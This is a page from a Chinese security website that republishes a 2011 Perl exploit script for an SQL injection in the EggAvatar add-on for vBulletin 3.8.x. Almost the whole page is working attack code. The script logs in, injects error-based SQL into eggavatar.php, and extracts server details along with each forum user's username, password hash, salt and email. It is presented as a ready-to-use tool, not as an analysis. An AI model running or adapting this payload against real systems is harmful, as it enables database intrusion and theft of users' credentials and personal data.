首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability
来源:dsecurity.vn[at]gmail.com 作者:DSecurity 发布时间:2011-03-07  

#!/usr/bin/env perl
use LWP::UserAgent;
sub banner{
print "###################################\n";
print "############ DSecurity ############\n";
print "###################################\n";
print "# Email:dsecurity.vn[at]gmail.com #\n";
print "###################################\n";
}
if(@ARGV<5){
 print "Usage: $0 address username password number_user sleeptime\n";
 print "Example: $0 http://localhost/vbb test test 10 10\n";
 exit();
}
$ua=LWP::UserAgent->new();
$ua->agent("DSecurity");
$ua->cookie_jar({});
sub login(@){
 my $username=shift;
 my $password=shift;
 my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login');
 $req->content_type('application/x-www-form-urlencoded');
 $req->content("vb_login_username=$username&vb_login_passwor=$password&s=&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&do=login&vb_login_md5password=&vb_login_md5password_utf=");
 my $res = $ua->request($req);
}
sub v_request{
 #Declare
 $print = $_[0];
 $select = $_[1];
 $from = $_[2];
 $where = $_[3];
 $limit = $_[4];
 $sleep = $ARGV[4];
 if ($from eq '') {$from = 'information_schema.tables';}
 if ($where eq '') {$where = '1';}
 if ($limit eq '') {$limit = '0';}
 if ($sleep eq '') {$sleep = '10';}
 
 # Create a request
 my $req = HTTP::Request->new(POST => $ARGV[0].'/eggavatar.php');
 $req->content_type('application/x-www-form-urlencoded');
 $req->content('do=addegg&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&eggavatar=1'."' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select $select  from  $from  WHERE $where limit $limit,1),FLOOR(RAND(1)*3))foo FROM information_schema.tables GROUP BY foo)a)-- -'&uid=1&pid=1");
 # Pass request to the user agent and get a response back
 my $res = $ua->request($req);
 #print $res->content;
 if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)
     {$test = $3};
 sleep($sleep);
 return $print.$test."\n";
}
&banner;
print "\n#############################################################################################################\n";
print "# EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability                                                 #\n";
print "# Date:06-03-2011                                                                                           #\n";
print "# Author: DSecurity                                                         #\n";
print "# Software Link: http://www.vbteam.info/vb-3-8-x-addons-and-template-modifications/19079-tk-egg-avatar.html #\n";
print "# Version: 2.3.2                                                                                            #\n";
print "# Tested on: vBulletin 3.8.0                                                                                #\n";
print "#############################################################################################################\n";

#login
login($ARGV[1],$ARGV[2]);
#Foot print
print v_request('MySQL version: ','@@version');
print v_request('Data dir: ','@@datadir');
print v_request('User: ','user()');
print v_request('Database: ','database()'); 
#Get user
for($i=1;$i<=$ARGV[3];$i++){
 print "-----------------------------------------\n";
 print $id = v_request('ID: ','userid','user','1',$i-1);
 if($id =~ /(ID:)\s(.*)/){
  print v_request('Group: ','usergroupid','user','userid='.$2);
  print v_request('Username: ','username','user','userid='.$2);
  print v_request('Password: ','password','user','userid='.$2);
  print v_request('Salt: ','salt','user','userid='.$2);
  print v_request('Email: ','email','user','userid='.$2);
 }
   
}

 

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·win32 eggsearch shellcode (33
·Novell iPrint Client ActiveX C
·Allied Telesyn TFTP Server 1.9
·Automne 4.1.0 Race Condition
·Vtiger CRM 5.0.4 Pre-Auth Loca
·Interphoto 2.4.2 Local File In
·iPod Touch/iPhone iFileExplore
·Comtrend ADSL Router CT-5367 C
·JBoss Application Server Remot
·Weborf 0.12.4 Denial Of Servic
·PHP Speedy <= 0.5.2 Wordpress
·Bacula-web 1.3.x - 5.0.3 Multi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved